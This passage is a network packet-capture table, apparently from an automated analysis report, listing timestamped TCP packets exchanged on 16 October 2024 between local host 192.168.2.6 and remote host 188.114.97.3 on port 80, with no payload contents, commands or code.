                                                                                    Oct 16, 2024 10:58:24.259167910 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.259171963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259185076 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259197950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.259202003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259212971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259219885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.259224892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259236097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259242058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.259248018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259260893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259270906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.259273052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259280920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.259320974 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.259393930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259407043 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259413004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.259443998 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261027098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261069059 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261081934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261112928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261121988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261152029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261226892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261234999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261264086 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261269093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261320114 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261321068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261332035 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261359930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261382103 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261387110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261398077 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261408091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261424065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261425018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261435986 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261442900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261460066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261464119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261470079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.261486053 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.261511087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265067101 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265083075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265094042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265101910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265113115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265119076 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265121937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265134096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265146971 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265177965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265178919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265188932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265198946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265209913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265216112 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265233994 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265259981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265333891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265343904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265353918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265363932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265372038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265381098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265383959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265389919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265396118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265407085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265408993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265419006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265440941 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265451908 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265460968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265470028 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265500069 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265511036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265522957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265532017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265552044 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265568018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265642881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265652895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265657902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265664101 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265687943 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265690088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265697956 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265701056 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265712976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265722990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265727043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265732050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265738010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265755892 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265782118 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265806913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265847921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265868902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265878916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265902042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265919924 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265934944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265944004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265953064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.265970945 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.265985012 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.301963091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.301980019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.301995993 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.302005053 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.302011013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.302016973 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.302057981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.302057981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.345727921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.345738888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.345755100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.345767021 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.345783949 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.345788956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.345802069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.345824003 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.345844030 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.345993996 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346004963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346016884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346029043 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346035004 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.346045017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346055984 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346065044 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.346087933 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346098900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346100092 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.346123934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.346142054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346149921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.346158028 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346169949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346184015 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.346194029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.346204042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346213102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.346215963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346227884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346241951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346256018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.346263885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346276999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.346283913 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.346314907 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.360233068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.360285997 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.360335112 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.360344887 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.360372066 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.360383034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.371501923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.371512890 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.371524096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.371561050 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.371568918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.371586084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.371613026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.371633053 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373179913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373192072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373200893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373218060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373230934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373233080 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373241901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373264074 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373285055 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373313904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373323917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373333931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373346090 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373359919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373374939 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373688936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373699903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373708963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373718023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373723984 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373728991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373739958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373743057 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373754025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373764038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373764992 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373781919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373802900 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373806953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373817921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373827934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373837948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373840094 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373853922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373867989 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373954058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373964071 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373972893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373982906 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.373989105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.373994112 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374005079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374006987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374027967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374049902 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374051094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374061108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374070883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374079943 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374089956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374090910 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374110937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374131918 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374164104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374174118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374182940 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374192953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374196053 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374203920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374212027 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374212980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374223948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374236107 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374248981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374253035 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374260902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374270916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374281883 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374303102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374362946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374372959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374377012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374382973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374396086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374402046 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374407053 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374418974 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374428034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374433041 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374440908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374449968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374460936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374481916 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374517918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374555111 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374577999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374587059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374598026 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374608040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374618053 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374624014 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374634981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374649048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374674082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374689102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374699116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.374722958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.374742031 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376306057 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376331091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376342058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376354933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376379013 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376391888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376403093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376413107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376422882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376425982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376458883 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376466990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376477003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376482964 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376488924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376498938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376504898 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376511097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376519918 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376523972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376534939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376545906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376557112 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376580954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376615047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376625061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376635075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376650095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376652956 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376663923 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376667023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376688004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376696110 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376702070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376707077 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376713991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376724958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376739025 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376750946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376764059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376774073 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376776934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376784086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376796007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376804113 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376807928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376820087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.376832962 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376843929 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.376868963 CEST4980280192.168.2.6188.114.97.3
